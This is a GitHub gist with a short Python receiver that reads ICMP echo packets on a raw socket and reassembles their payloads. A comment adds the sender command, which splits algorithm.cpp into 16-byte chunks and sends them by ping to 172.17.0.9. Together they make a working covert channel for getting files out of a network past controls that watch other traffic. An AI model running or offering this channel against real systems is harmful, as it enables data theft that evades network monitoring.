Created
January 10, 2020 14:22
-
-
Save mvetsch/869b5e04caa530f7b760a36dee1a2d23 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import sys | |
def recv(): | |
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) | |
counter = 0; | |
while True: | |
data, src = s.recvfrom(1508) | |
payload = data[44:60] | |
if(counter % 2 == 0): | |
print((payload.decode()), end='') | |
counter = counter+1 | |
if __name__ == '__main__': | |
recv() | |
# Send algorithm.cpp over ICMP echo in 16 byte chunks. The ping utility somehow just allows specifying 16 byte. | |
## > split -b 16 algorithm.cpp ; for f in `ls x*`; do ping -c 1 -p `xxd -ps $f ` 172.17.0.9 ;sleep 1; done | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment